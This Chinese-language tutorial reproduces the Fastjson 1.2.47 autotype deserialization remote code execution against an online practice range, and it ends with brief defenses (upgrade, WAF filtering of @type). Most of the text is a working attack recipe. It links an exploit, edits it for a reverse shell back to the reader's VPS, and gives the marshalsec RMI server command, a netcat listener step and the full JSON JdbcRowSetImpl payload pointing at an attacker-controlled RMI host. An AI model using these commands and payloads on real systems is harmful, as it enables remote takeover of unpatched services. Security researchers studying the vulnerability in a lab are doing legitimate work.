前言
最近一直想复现这个漏洞,但是一直没时间,也没怎么在网上找到真的有用的文章,太多水文了,10篇文章有9篇都是一模一样的copy,还有一篇就只copy了一半,另一半就不搞了,真的是有其人的,于是花了一点时间去复现这个洞,毕竟工作上有可能会遇到的,并且也标明了一些坑位,反正按照这篇文章是可以100%机率可以复现成功的
漏洞概述
首先,Fastjson提供了autotype功能,允许用户在反序列化数据中通过“@type”指定反序列化的类型,其次,Fastjson自定义的反序列化机制时会调用指定类中的setter方法及部分getter方法,那么当组件开启了autotype功能并且反序列化不可信数据时,攻击者可以构造数据,使目标应用的代码执行流程进入特定类的特定setter或者getter方法中,若指定类的指定方法中有可被恶意利用的逻辑(也就是通常所指的“Gadget”),则会造成一些严重的安全问题。并且在Fastjson 1.2.47及以下版本中,利用其缓存机制可实现对未开启autotype功能的绕过。
影响版本:Fastjson1.2.47以及之前的版本
环境准备:
1、一台VPS(能正常监听的) 2、在线靶场 3、JAVA8的环境 4、Python3环境
漏洞复现:
1、 首先去GitHub下载这个EXP:
https://github.com/CaijiOrz/fastjson-1.2.47-RCE  2、然后用记事本或者notepad++ 进行编辑,把里面的那个监听IP地址和端口都修改为自己的VPS地址,是为了后面来进行反弹shell 的命令  3、然后保存之后,我这里的使用win10虚拟机里面的java8环境 ,把Exploit.java 文件复制或者拖拉进去java8的jdk的bin目录下 ,进行编译,就会出现了生成了一个Exploit.class 文件   坑一:这里有个小细节,要使用Java8 因为RMI 利用方式对 JDK 版本是有要求的,JDK版本需低于以下版本。  4、然后,把这两个文件都上传上去VPS里面,顺便说一下,一开始下载的那个exp我是解压了再放上去VPS里面的,这里可以自由发挥  5、接着我就使用Python3直接启动web服务,也可以用Python2的,但是我这里使用Python3,并且随意的使用了一个8080端口,而且要进去那个exp的目录下才开启,然后就直接如下图二进行访问,得到图二就代表能成功访问web服务
python3 -m http.server 8080
  6、然后我在exp的目录下执行了下面这条命令来启动RMI服务,这里的IP和端口是VPS刚开放的Web服务IP和端口 ,后面的RMI端口随意写一个 ,我这里写8888
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer “http://你的VPS的IPV4地址:8080/#Exploit” 8888
 7、然后我这里在VPS先开启NC监听,使用的端口是2222,要对应填写上面开始编译那个Java文件里面的那个端口  8、访问在线靶场,我这里因为懒,就没在本地搭建,不是打广告的,勿喷 访问靶场,抓包  坑二:然后把GET请求改为POST请求  坑三:接着把 Content-Type: application/x-www-form-urlencoded 修改为 Content-Type: application/json   接着构造并发送Payload数据包 
{
"name":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"x":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://你的VPS的IPV4地址:8888/Exploit",
"autoCommit":true
}
}
坑四:这里RMI的地址不用加上8080的,直接加上上面开启RMI服务的那个随意写的端口—> 8888
然后可以来观察一下VPS的情况       这样就成功完整复现了Fastjson-1.2.47远程命令执行漏洞
防御方法:
1、将Fastjson升级到最新版本 2、WAF拦截过滤请求包中的 @type,%u0040%u0074%u0079%u0070%u0065, \u0040type,\x04type等多种编码的 autotype 变形;
|